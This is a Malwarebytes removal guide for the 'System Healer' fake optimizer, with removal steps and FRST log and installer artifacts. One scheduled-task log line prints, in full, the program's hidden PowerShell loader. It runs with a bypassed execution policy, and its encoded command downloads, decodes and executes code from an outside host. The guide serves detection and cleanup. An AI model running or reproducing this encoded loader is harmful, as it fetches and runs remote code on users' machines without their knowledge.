What is System Healer?
The Malwarebytes research team has determined that System Healer is a fake system optimizer. These so-called "system optimizers" use intentional false positives to convince users that their systems have problems. Then they try to sell you their software, claiming it will remove these problems.
More information can be found on our Malwarebytes Unpacked blog.
How do I know if I am infected with System Healer?
This is how the main screen of the system optimizer looks:
You will find these icons in your taskbar and on your desktop:
And see these warnings during install:
and these screens during "operations":
You may see this entry in your list of installed programs:
and these tasks in your Task Scheduler:
How did System Healer get on my computer?
These so-called system optimizers use different methods of getting installed. This particular one was bundled by other software.
How do I remove System Healer?
Our program Malwarebytes Anti-Malware can detect and remove this potentially unwanted application.
- Please download Malwarebytes Anti-Malware to your desktop.
- Double-click mbam-setup-version.exe and follow the prompts to install the program.
- At the end, be sure a check-mark is placed next to the following:
- Enable free trial of Malwarebytes Anti-Malware Premium
- Launch Malwarebytes Anti-Malware
- Then click Finish.
- If an update is found, you will be prompted to download and install the latest version.
- Once the program has loaded, select Scan Now. Or select the Threat Scan from the Scan menu.
- When the scan is complete, make sure that all Threats are selected, and click Remove Selected.
- Restart your computer when prompted to do so.
- No, Malwarebytes' Anti-Malware removes System Healer completely.
- This PUP creates some scheduled tasks. You can read here how to check for and, if necessary, remove Scheduled Tasks. Depending on the source of the install you may also want to have a look at this blogpost to check if you have a similar Scheduled Task.
We hope our application and this guide have helped you eradicate this registry cleaner.
As you can see below the full version of Malwarebytes Anti-Malware would have protected you against the System Healer installer. It would have warned you before the application could install itself, giving you a chance to stop it before it became too late.
and it stops the connections the optimizer tries to make:
Technical details for experts
No visible signs in a HijackThis log
You may see these entries in FRST logs:
() C:\Program Files (x86)\SystemHealer\SystemHealer.exe
() C:\Program Files (x86)\SystemHealer\RescueMonitor.exe
C:\ProgramData\14a7b572-5467-0
C:\ProgramData\14a7b572-2f01-1
C:\Windows\System32\Tasks\System HealerPeriod
C:\Windows\System32\Tasks\System HealerStartUp
C:\Windows\Tasks\System HealerStartUp.job
C:\Windows\Tasks\System HealerPeriod.job
C:\Users\{username}\AppData\Roaming\System Healer
C:\Program Files (x86)\SystemHealer
C:\Windows\System32\Tasks\{05087D47-0E7D-0D7D-0F11-7A0B087D1109}
C:\Windows\System32\Tasks\System Healer Task
C:\Windows\System32\Tasks\SystemHealer Run Delay
C:\Windows\System32\Tasks\SystemHealer Monitor
C:\Users\Public\Desktop\Launch System Healer.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer
System Healer (HKLM-x32\...\SystemHealer) (Version: 4.1.0.0 - SystemHealer)
Task: {2D7CD43D-7FB9-46D1-A1B8-2007800492B5} - System32\Tasks\System HealerPeriod => C:\Program Files (x86)\SystemHealer\SystemHealer.exe [2016-01-18] ()
Task: {71E3A3D3-1A6D-4D16-A21F-C3BECDA8FD3A} - System32\Tasks\System HealerStartUp => C:\Program Files (x86)\SystemHealer\SystemHealer.exe [2016-01-18] ()
Task: {7FF53B22-E8AB-4010-9C75-669E9F0CC5F7} - System32\Tasks\SystemHealer Run Delay => C:\Program Files (x86)\SystemHealer\SystemHealer.exe [2016-01-18] ()
Task: {B1995DD7-3D09-46A5-BCF0-A4EF4BFED986} - System32\Tasks\{05087D47-0E7D-0D7D-0F11-7A0B087D1109} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAGIAZQBhAHUAdAB5AGYAaQBsAGUALgBpAG4AZgBvAC8AdQAvAD8AYQA9AG8AXwBsAFQAcQAxAFQAcABNAHoAVABVAFAAZgBxAGYAawBwADUAbQBiAEEANQByAG0AYgBKAHEAeAAzAFgAbwBuADMAXwAtAHoAOQBSAEIAWQBfAGwAZABEADIAZABlAGYAQwA1AEMARAAwAHoARwBBAF8ANQBPAFQARQBPAHgAYwB2AE0ANgBvAGkAdQBhAEMANwA5AFoAagBUAC0AXwBUAEwAdABfAHQANgBrAEoAVwBSAEYALQBmAGsAdwA4AHQAZABxAEUARAAwAG4AWAAwAHgAaQBEAE8ARQBDADEAcgBBAHUAQwBpAFEANwAxAEUAbgA2AGIAVQBaAGMAZQBQAFUAVgB3AHYAdgA0AFgASABFADgAUAAtAE0AOABoAFEAZABkAGoAcAB6ADkAagBJADkAZgBUAHYAbQBjAHQAVgBKAEwAQQBHAGQAbABpAFQAUwBsAGsANgBjADIAdwBBADUARQBDAEsAeQAzAGQAWgBBAFkAYwBTAHEAdwBhAFQAWgA2AEcAVQBRAFUAdgA2AGgAaQBEAFAARQAwAEsATgBHADQAbQByAFAANwBaADMAawBPADIAbQBRAHYATgBGAEwARwBlAFcASgBnAHkALQBoAEsATgBzAG0AMwBTAFgAVgAzAFoATAAzAGYAbgBwAF8ASwA4AFkALQBMAGIARwBPAE0AWABkAHgAMABuAG4AOQA4AHcAUQBDADQALQB2AFQAZgB6AFMAdwA3AFgAbgBrAGsANAA5AGcAQgBPAFcAbQB2AHoAbwA3AEsASABZAHcAcwBuAG4ANwAzAHMAYQBpADMASQBRAGwAMwBfAFAAeABVAHMATAAxADEAaQBQAEYAeABnAFgAVABvAGgAQwBpADYANQBFAC0AagBWADIAUwBUAEMASgBLAG8AbQBlADMAdQBnAEsAeAB4AEIAWQBJAHcAVQBZAC0AagBqAGgAYQBQAGoAQgB3AFQAdgBSAGQAegB2AHcAWgBCAE8AQQBhAHgARgBPAEsAQQBxAFUARQBoAG4ARgBrAGgASQB1AGIAeQBrAHAAVQBTAHkAQwBKAGgALQB6ADIAZwBpAHoAUgBXAGsAUQBLAG8ARgBaAHIAVABSADgAYwBaAGgAawByAGsAQgBoADgATQBRAGkATQBjAHoANgBnADUATwBvAFcAbgB1ADMARQBkAGwAMQBlAEEAVAB4AC0AMABqAFAAWABPAGkAdABnAE8AYQBRAFoAaQA0AF8AOQBKAFAATABLAF8AawAwAG0AagBYAHIAcAA0AE4ARgB0AEcATgBJAE8ANABMAHoAXwB5AGoARgA2AG0AdgBZAFcAVAA1AFkAcgBCAHkAcQBIAEsAaABUAGIATgBGAFQAYQBOAHgAbgBSAEEASQBTAEsASgBjAG8AMwB1AHIAdQBtAFAANgB0AEoASQBjAHQAMgBYAFEARQBMAHoATwBmAGoAbQBRAFcANgBqAEwAQwB6AC0AMQBZADcASQBzAEUAUwBFAGQAdgBGADYAQQA5AEMAbwA4AHoAUABJAHQAQgB6ADEARAB6AFoAQgBlAFYAVwA2AF8ANwB1AFkASwBhAHIATgB2AHEAWgBUAFcAOAA2AGgAMgB6AHIAdABJAC0AegBmAFYAVgBuAFIANAB3AGUAVwBxAG0ANgBIAHUAOQA3AEgAegBDAC0ATABJADEAdwBkAFoAWQB3AHIAQQBuAFoAQgBXAGMAZwByAEUAYwAtAHQANwBKAFcAbgBWAEkAUQBUAG8AWQBhAGMAcABxAGwAQgBGAFQAagBsADEAdwBSAG0AeQBMAG8AMQAtAC0AagBnAHoAVABQAGkANAA2AGIAeQBGAFQAUQBKAE0AagBQAEMAOQBUAFUAQQBwAHoAbQA2AFIASwB4AGYANABVAGMAdwBpADgAOAA3AEEATgB6AGQAcAA2AGoAXwBNADgAVwBwAFQANgBxAGkANQBuAFMAVgBUAEUAQgByAFAAegBlADAAcwBMAGEAWABIAHcAQwBKAHAARgA1AFIAOQBqAEIAVABEAFYAYgBjAEsAcwBJAGEAZQBQAC0AcABZAHIATQBXAFYAVQBPADIAQgBkAFIAQQBOAFAAeABpAEUARQAtAEwAVABtAHIAUAA4AFcASQA3AHMAYgBqAEEAMwBIAHYATwByADEAbgA2AGoAcgAzAEEATQAxAFgAaABqAGoAYgB4ADgAcgBsAEIARgAzADEATgB6AGQAXwAzAEIAcgBOAHAAaABfAE0AZgB4ADkAQwBiAFMAMgBOAEsAVQBnAHoAdQBLAGUAbwBPAG4ARABoAEYANABiAGUASwB5AFcAMQB2AHYAcAAzADcAbABUAFQAawB2AFcARgBfAEkATwA2AEsASQBsAFcAcgBhAEYAQgB6AEEARwB6AE4AegAwAFAAaQA5AEIAOAAmAGMAPQBnAEIAcQBKAGUAMABRADAANwBQADkAMwBwAGQAVgBEAEMAYQBSAGsAawBxAFIAVgBCAGwAcgBBAGQAUABWAGQAcQBaAEEAZQAtAG8AVgByADQAZAB5AGsAVgBlAEYAVQBoAGcAZwBtADEARwB6AFkATwBqAEwAZwA4AFIASgByADUASwBNAEQAXwA3AEsAQgByAF8AWABCAEgAbABxAEUAXwBPAGwAdQBtAHAAZgA1AG4AdABJAEUARwB3AHUAbgBMADUAUABHAEUATwAyADIATQBOAHQAdABUAHQAYgB5ADUALQBHAHMAYwByAHQAbgBPAHAASABRAHQAeABUAG0AMwBYAE4AYwBlAFoAcABxAEIAbwBHAHkAVABJAEIASwBCAGwANQB5AEsAYgA1AC0ALQBNAGkASQBCAC0AdABzADIAYQBuAGEAMwA5AE4AWABGAFMAMABzAEIAVwBBAGwAOAA1AEQASABVAGMAXwBxAFoARQBiAFcARQBPAFIAMQBEADcAdQAtAHkAMgA0AFEALQBIAGsALQBIAGwAaABIAHoAUgBXAEQAWABaAEgAMgBXAE0AQwA2AE0AZgAtAGUASgAtADcARQBxADgANgBfAFkAYgBZAHgASwBPAGMAUwBzAFkAYwBLAE8ANABTAHcAZQAtAGIAYgA0AGcAdABvADgAYgBqAEEAeABrAFEATgBuAEoATwBsAEkASwBZADgAVwA4AFEAUwBqADEAMQBvAFoARAA3ADUASABqAFoAWAA5AHIAQwBmAEwAagB5AFQAeQBNAGkARABGADcANAA2AEgARwBnAEkAOAB5AF8AZQBTAEsAXwBlAHAAagBMAG4ANwBkAEMAXwAyAHIAcwBKAFgAMQBpAGQAYQBPAHAAbgBkAHcARwBPAHUATwAyADMAdABtAEYAcwBiAEQAOABFAG4AcwAzAEcAdwBaAEoAMwBmAC0ATQBpAHIAdwA2AFMAagB5AGEAbABFAGgAdABWAE8AYQAwAGQAZgBpAGsAVwAzAFAAcwBXAEoAQgBnAHkAOAB3AHgANgBmAGUANQB0AGIAOQBaADkAQQBjAE4AZQBPAEIAUQBnAEIAcABkAC0AVwB3AGQAUQBQADUANgBpAF8AZAB4AFQANABKAE4AbgB1AGkAdQBmAEoASgA2AE4AYwBlADMAeQBNADYAdABxAEEAdgBSAHMAQwBMAGwASAA4AG4AcAB5AFUASgBsAFEANgAyADQAXwBQAEIATQBqAGcAdwBlAFkARwBFADcAZwAtAFQAbgAxAGIAawBBAGUAUgBHADgASwBEAGUAWAA0AFgAYwBGAC0AdwA0ADgAdgBfAGMAMgA0AG0AZQBzAFQASQBEADQAMgBNAGEASgBJAEcASwBlAGMASABuAGIAYgBJAGkAQwAtAHoAMwBYAHkANwBsADcAbABkAHIAcwBqAHoAUQB5AGkAOQBRAHMAbQAyAHAAUQBFAG0ASQA5ADkAeABPAEwAMAA3AHgAeABBADMAWgBpAEUASQA3AG0AUQBqAGgATQBNAEoAWgA2AGEAVABZAG4AagBOAEYASAAyAEQAQgBEAFgAWQB6AEEAWQAtAE4ATgBzAE8ARQBNAG0AbwB6AEQATQBsAC0ANABxAFAAUwBrAHMAdQBOAG4AVwBtAHMAMwBJADkAQgAtAEsAVwBVADkAZABnAGwAbgBNAEwAbQAyAFgAMwBsADcAOQAxAFUAYQBqAGgATQB3AHYAVgAxAGEAUwAtAFcAZAB4ADMAUwBkAHYASQA2AHEAbABkAC0AdABFAGUAbgBhAGUAbABNADUAcQB4AG0AbQBqAGgATQBKAHYAUgB4ADAAcQBCADgAUgBfAEQAdQBzAHEAZQBiAFQAVQBkAHIAcAB4ADIAZAA1AF8AZgBxAHEAYwA4AHYAbwBMADMANABFAFYALQAxAFoASwBFAHkATwBVAEcAegBQADUAMAB0ADcARwBSAHcAdgBpAGgASgBiAEwAUABEADEAMABwAGcAUABaAFEAMQBPAEYAbgBVAEUAbABnAGYAWgBoADQAbgBJAFMAeQBxAE0AeQBpAHAARQBxAHYAaQA5AEQAeQAzAGYAVQBCAG4AcwB2AGUARABtADgAaABaAHIAQQBXAE4AZwBGAGoANgAzAEsALQBhAFMAdwBNAGIAUgBWAFQAcQBEAGQASgBzAEQAMABRAHcAMgBlAHYAdgBSAGcAYQBZAG8ARgBaAHgAVQBfAFEAUQBTAE0ATABQAGoAZABMAEgAbgA5AC0ARABxAFEAagBOAFIAbgBnAHgAegBMAFcAbwBmAC0AeQA4AHgANQAxAEcAbABkAFUAaAB2AG8AWABrAGYALQBaAHgASQBJAHoAWQBpAFEAbgBKAHUARwBtADkAbwBMAGoAXwA2ADUAQwBRAEsALQBEAGUARgBKAGUANgB4ACYAcgA9ADMANAA5ADgAMQAyADcANgAzADIANAAzADEAOQAyADgAOAAxADIAIgA7ACQAcwB0AHMAawA9ACIAewAwADUAMAA4ADcARAA0ADcALQAwAEUANwBEAC0AMABEADcARAAtADAARgAxADEALQA3AEEAMABCADAAOAA3AEQAMQAxADAAOQB9ACIAOwAkAHAAcgBpAGQAPQAiAFMAeQBzAHQAZQBtAEgAZQBhAGwAZQByACIAOwAkAGkAbgBpAGQAPQAiAE0ASQBRAFEAUABKAEkAUwAiADsAdAByAHkAewBpAGYAKAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuAC4ATQBhAGoAbwByACAALQBsAHQAIAAyACkAewBiAHIAZQBhAGsAOwB9ACQAdgA9AFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATwBTAFYAZQByAHMAaQBvAG4ALgBWAGUAcgBzAGkAbwBuADsACgBpAGYAKAAkAHYALgBNAGEAagBvAHIAIAAtAGUAcQAgADUAKQB7AGkAZgAoACgAJAB2AC4ATQBpAG4AbwByACAALQBsAHQAIAAyACkAIAAtAEEATgBEACAAKAAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AUwBlAHIAdgBpAGMAZQBQAGEAYwBrAE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuACAALQBsAHQAIAAyACkAKQB7AGIAcgBlAGEAawA7AH0AfQAKAGkAZgAoAC0ATgBPAFQAIAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAgACIAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgAiACkAKQB7AGIAcgBlAGEAawA7AH0ACgBmAHUAbgBjAHQAaQBvAG4AIAB3AGMAKAAkAHUAcgBsACkAewAkAHIAcQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAcQAuAFUAcwBlAEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzAD0AJAB0AHIAdQBlADsAJAByAHEALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAHUAcwBlAHIALQBhAGcAZQBuAHQAIgAsACIATQBvAHoAaQBsAGwAYQAvADQALgAwACAAKABjAG8AbQBwAGEAdABpAGIAbABlADsAIABNAFMASQBFACAANwAuADAAOwAgAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACkAIgApADsAcgBlAHQAdQByAG4AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAcgBxAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHUAcgBsACkAKQA7AH0ACgBmAHUAbgBjAHQAaQBvAG4AIABkAHMAdAByACgAJAByAGEAdwBkAGEAdABhACkAewAkAGIAdAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByAGEAdwBkAGEAdABhACkAOwAkAGUAeAB0AD0AJABiAHQAWwAwAF0AOwAkAGsAZQB5AD0AJABiAHQAWwAxAF0AIAAtAGIAeABvAHIAIAAxADcAMAA7AGYAbwByACgAJABpAD0AMgA7ACQAaQAgAC0AbAB0ACAAJABiAHQALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAYgB0AFsAJABpAF0APQAoACQAYgB0AFsAJABpAF0AIAAtAGIAeABvAHIAIAAoACgAJABrAGUAeQAgACsAIAAkAGkAKQAgAC0AYgBhAG4AZAAgADIANQA1ACkAKQA7AH0ACgByAGUAdAB1AHIAbgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAkAGIAdAAsADIALAAoACQAYgB0AC4ATABlAG4AZwB0AGgALQAkAGUAeAB0ACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAfQAKACQAcwBjAD0AZABzAHQAcgAoAHcAYwAoACQAcwB1AHIAbAApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAGMAbwBtAG0AYQBuAGQAIAAiACQAcwBjACIAOwB9AGMAYQB0AGMAaAB7AH0AOwBlAHgAaQB0ACAAMAA7AA==
Task: {C71FA699-7B10-41EC-B9DF-328148682B84} - System32\Tasks\System Healer Task => C:\Program Files (x86)\SystemHealer\RescueMonitor.exe [2016-01-18] ()
Task: {F8B8C600-0F58-42D5-8EE6-17B04B0AC5CC} - System32\Tasks\SystemHealer Monitor => C:\Program Files (x86)\SystemHealer\HealerConsole.exe [2016-01-18] ()
Task: C:\Windows\Tasks\System HealerPeriod.job => C:\Program Files (x86)\SystemHealer\SystemHealer.exe
Task: C:\Windows\Tasks\System HealerStartUp.job => C:\Program Files (x86)\SystemHealer\SystemHealer.exe
Alterations made by the installer:File system details [View: All details] (Selection)
---------------------------------------------------
Adds the folder C:\Program Files (x86)\SystemHealer
Adds the file HealerCheckout.exe"="18/01/2016 15:24, 295928 bytes, A
Adds the file HealerConsole.exe"="18/01/2016 15:24, 755704 bytes, A
Adds the file RescueMonitor.exe"="18/01/2016 15:24, 635384 bytes, A
Adds the file SHShellExtension.dll"="18/01/2016 15:24, 2106872 bytes, A
Adds the file SystemHealer.exe"="18/01/2016 15:24, 2484728 bytes, A
Adds the file SystemHealer.ini"="03/02/2016 11:49, 801 bytes, A
Adds the file Uninstaller.exe"="18/01/2016 15:24, 298680 bytes, A
Adds the folder C:\ProgramData\14a7b572-10b1-1
Adds the file 14a7b572-10b1-1.d"="03/02/2016 11:47, 7933 bytes, A
Adds the folder C:\ProgramData\14a7b572-3245-0
Adds the file 14a7b572-3245-0.d"="03/02/2016 11:47, 7933 bytes, A
Adds the folder C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer
Adds the file Launch System Healer.lnk"="03/02/2016 11:47, 1073 bytes, A
Adds the file System Healer on the Web.url"="03/02/2016 11:47, 53 bytes, A
Adds the file Uninstall.lnk"="03/02/2016 11:47, 1068 bytes, A
Adds the folder C:\Users\{username}\AppData\Roaming\System Healer\Languages
Adds the folder C:\Users\{username}\AppData\Roaming\System Healer\WL
In the existing folder C:\Users\Public\Desktop
Adds the file Launch System Healer.lnk"="03/02/2016 11:47, 1055 bytes, A
In the existing folder C:\Windows\System32\Tasks
Adds the file {05087D47-0E7D-0D7D-0F11-7A0B087D1109}"="03/02/2016 11:47, 23176 bytes, A
Adds the file System Healer Task"="03/02/2016 11:47, 3576 bytes, A
Adds the file System HealerPeriod"="03/02/2016 11:49, 2864 bytes, A
Adds the file System HealerStartUp"="03/02/2016 11:49, 2562 bytes, A
Adds the file SystemHealer Monitor"="03/02/2016 11:47, 3264 bytes, A
Adds the file SystemHealer Run Delay"="03/02/2016 11:47, 3330 bytes, A
In the existing folder C:\Windows\Tasks
Adds the file System HealerPeriod.job"="03/02/2016 11:49, 280 bytes, A
Adds the file System HealerStartUp.job"="03/02/2016 11:49, 280 bytes, A
Registry details [View: All details] (Selection)
------------------------------------------------
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures]
"System HealerPeriod.job"="REG_BINARY, ...............................T
"System HealerPeriod.job.fp"="REG_DWORD", -1772294273
"System HealerStartUp.job"="REG_BINARY, ................................
"System HealerStartUp.job.fp"="REG_DWORD", -1288717337
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\11598763487076930564]
"0"="REG_DWORD", 1
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\a74d6b714a7b573]
"0"="REG_SZ", "GB20Kk-73Jl3tL3FHjUkpNzh_efyWOEpPlnWtHJFru7RLAjwYMmh5RqhxYEfG8QKdxbohdWZiaEciXFHNuLDExGgAAtWGxIZvTXQ-G8HxV0fhXKdcrcusoIvsVN2F5P-TBxSBMnA5ul5DQ2HyyFn4QfRx3bTGCq-tHcwY6Psj6PpSzfulVekOd0FgDzlxJNteTeM7cmpcnPPZq3QY_U0g_E6KXuFHbGuRmEODO7aNcJ0VCNrTMfNoSLR6qRqPRqyKvHbD7kM3IYxyf5I59UEmpV1h0wnbFSs7t-vgEXBiEwHQGsmGGWdyUX6rWwFecBaE4CJkps5BIzj1b-qhTyEvLR763nWLYLGm6tlqgqGvuJ_B0uGRKNWyjvuvtkSdbIHD6XsUgLLUfXQOYYCxuIymAITKjA3SzFup0f-zvjGqpa2e1z9zcPoduz7pohOByj6i90DkBKUIoBqqDVLYcnf9JL0QRl8aOTieWtaRmeGyO_JJAPt0hyeoUDtcigXnqtunqN5LqWNPEIvERAB5dlGxPazfK7xPZBU-Q3F1Y_DJjNchXsNbNfM_l_g6h6l4HxAQ0K9t_h_SCzgOEDE5qdVBYwlo3XYKSC4Izixr5lKqQL2XXie2lpsoby-kdZW-q9Hryox5jThY6KbfnPVf5TtCtujyvTuuvb1bYOfokxs2EZHe9nj0j4VxYatMK7fOF0976rrarYmqsZ4zAMrVP76Wkf2HhPbAsi_n8DOmjpCTIYjpiAdDCot01xeMj4L5Mh9mbR07ym6BdfwKwx1GSvzcOzEFJYlmalXn82Ojv0fkU5mgU6o8NXqBZMxsojFuOEu3AWAt_07u5ahiowa_ORgKGXTOmafLFv3jCVd5FV6AGRWeiFtfl4RlJklkCxRwxagfzDHb31WbzJtg799HugxgQYIkyPXViVFLUh-m6GVECdwj_d-E03r50g6vzt3LMOuOOr07tqjqsU5puWmbEY8BPGCdilXLTs34uhSsojp7scVJpd-IY6FDPPy5tqEJkW03VSsauPoYwOaahBQ4bVeDWNW_Nn2Kvygu5nr_dxEX0odG2UHlRAKvTVB6FLI4IRnFFJWcsIbPiM-smMTHw4kXu1Im5oZ07oTl_v6KxmsamRp6Z-q_Oz6T0sxzNYNwP0kXoNPkq9GU2A3gMVpQKAl6ublu2ThMqxkie5hRQWH_bA_ggArHvPaKdCfSqy9_kxCN0XDlxh2olwoomrwrCCJc3IX-lJzHTmwwfNtrzl2pIFwxwNCPzTVfQftXMGtX25JAGf8qRa63PZWf-xp1iIKlyJjFc0kOWCyFo4tOH2vHLW97lC-TlHPoMqO8dNtXUWDZkdhBpXMP4B3AegnL96WyOUz8c-xGInyzBZeGPkQ_l6mMFC9_mo337y647V9JnzoPKPVRPvyNg01eO_Rs6oCby7nqnwQdCcHeKzWhncUPVBo_fvqRquVtSuX23N5FZ5x0WswNDJ9ueYA5qjOYkKOMWj_QXdvtfP0L5t6AUdOL198uaVUEQVA19Z_D5cAQ6kr51remkcb_5YPKdc4LU47SDwRvyCGTX_75hNYB0wxU7mqPbsAkLQgB00nUfxmrSof4tJsDLINS-OzlvTtq0g7wbn2dVu5TzCEGvfZyugWL4B_Z5jL6hj_ddCBEDZgNqQOVnNBhdbgL7ODxXPTEljhYNtuGC7EcmDZtnTWBlUKqDH1EjJpsaXlX1YNJMDhDg8_RqSRu2K0zE5THz5wcIZH9gKmSU9t5OU3t8JO_ySLpuqv3y7N_8I5s4x6w32nvDwhommzly2J17YgBCUMQK2aCImZ45Wpq61ySST-HH31fSRz3kVq_rwDXtJydMX6oFsda7Mgs9k2O9Q23YdDdzpv8EUayaKkOMlBHA76NJow_5o1pLT3tnj5B_MpCaZPmcoHh_ybzdQKsY1r_ybgtnX_bWELFkb_77HqI1yLzoBOOJh2_Tv1mTYGSKLO-hBlcvUPYBV-wNJVnFwBhcBaVnkSfn7vrxzNTyUiUSRJaYCBiyEWN-WPa17DjFQpAqP-Ttwo_mdlh7XtuT6nepYE0L4iV81BnXUwVJBryZ0as5uJ_NMsSmgnY6ahNa8PXqi2mCOtz8zhr5T3KyGSFxTa5LwuGyse0Zx6JwmU84vaLwbl6nk2Z1xvF-DdkQKGHY6-FzOvtjAcTlha7bFklGiL61-JyiomSFKS2e4i8PtFqkmoDR9_vbpAI-mCtNGeZdSy6qTufGiHYAMVuKbxJtHhsIO9L8XEIr_yhNpBbllKx0A7HufeEIWrwilTQkdc-QuxmRfVXx7jhpQon1T9d4Jh07iOyEGNnuVbmwipxIEJBzhET3YFoOJCFDNM4TqM4cKUjoTF28ESrtuAkEG7TzvoZ-85JU2VcS9z_mgDxqn-xt0OWQ_wfssV0VUqkGRHeF-4PlS4duNAnA0N2_E0onz3mvXE3VbcrOPLkNrfZhmmyTkN4nOdY3a4PLcP9EKEkC4m1MAJDME30wX8gYgS2f73UlmnK-ejhD5sVDmbRCj3S6xbQKI4Jo2ipkTlAvUTkgSh24-VRLVseo0yU_a6cbmb1-wWQ_v4XrLHL6J60Y4_c2sWGCUKzRqkOKQ4uV5Zu1uyKmYKf8xg626tmmRcishcjYIB_Qa7ciqIPKY4PWnu903sm54oA3U